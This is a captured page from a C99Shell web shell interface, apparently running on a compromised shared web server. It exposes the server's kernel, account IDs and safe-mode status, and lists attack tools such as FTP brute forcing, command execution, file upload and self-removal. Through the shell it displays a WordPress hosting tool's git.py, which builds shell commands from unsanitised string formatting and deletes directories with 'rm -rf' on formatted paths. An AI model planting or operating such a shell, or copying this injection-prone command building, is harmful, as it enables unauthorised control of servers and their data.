!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/bin/dhwp/dhwp/core/   drwxr-xr-x
Free 669.96 GB of 879.6 GB (76.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     git.py (2.76 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import re
import sys
import os
from cement import shell
from cement.utils.misc import minimal_logger
LOG = minimal_logger(__name__)


class Git:

    def __init__(self, path):
        self.path = path
        self.git_path = path + '/.git'
        shell.cmd('cd %s && git config --global user.email "[email protected]"' % self.path)
        shell.cmd('cd %s && git config --global user.name "Robot"' % self.path)

    def cmd(self, cmd, args=''):
        out, err, code = shell.cmd('which git')

        if code > 0:
            LOG.fatal("cannot find git, please install it first")
            sys.exit(1)

        if not os.path.isdir(self.path):
            LOG.fatal("ERROR: %s is not a directory" % self.path)
            sys.exit(1)

        # TODO put this somewhere else

        command = "cd %s && git --git-dir=%s %s %s" % (self.path, self.git_path, cmd, args)

        LOG.info("git command : %s" % command)
        out, err, code = shell.cmd(command)
        out = out.decode("utf-8")
        err = err.decode("utf-8")
        LOG.info("git output : %s %s" % (out, err))

        if code > 0:
            LOG.fatal("GIT failed with error %s" % err)
            sys.exit(1)

        return out

    def commit(self, message='', exclude_media=False, exclude_live_archives=False):
        git_ignore_file = self.path + '/.gitignore'
        self.git_ignore(exclude_media, exclude_live_archives)

        self.cmd('add', '.')

        commit_args = '-a -m \"%s\"' % message
        if self.has_changes():
            self.cmd('commit', commit_args)

        if os.path.isfile(git_ignore_file):
            os.unlink(git_ignore_file)

    def git_ignore(self, exclude_media=False, exclude_live_archives=False):
        git_ignore_file = self.path + '/.gitignore'
        with open(git_ignore_file, 'w') as gi:
            gi.write("/.gitignore\nwp-content/cache\nwp-content/upgrade\nwp-config.php\n/.htaccess\n.maintenance\nwp-content/object-cache.php\n")
            if exclude_media:
                gi.write("wp-content/uploads/*\nwp-content/gallery/*\n")

            if exclude_live_archives:
                gi.write("wp-content/updraft\n**/*.sql\nwp-content/backups\n"
                         "wp-snapshot\nwp-content/ai1wm-backups\nwp-content/**/*.zip\n"
                         "wp-content/**/*.gz\nwp-content/**/*.tar\n")

    def has_changes(self):
        result = self.cmd('status')
        if 'nothing to commit' in result:
            return 0
        else:
            return 1

    def wipe(self):
        git_ignore_file = self.path + '/.gitignore'
        if os.path.isfile(git_ignore_file):
            os.unlink(git_ignore_file)

        if os.path.isdir(self.git_path):
            shell.cmd("git --git-dir=%s worktree prune" % self.git_path)
            shell.cmd("rm -rf " + self.git_path)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0099 ]--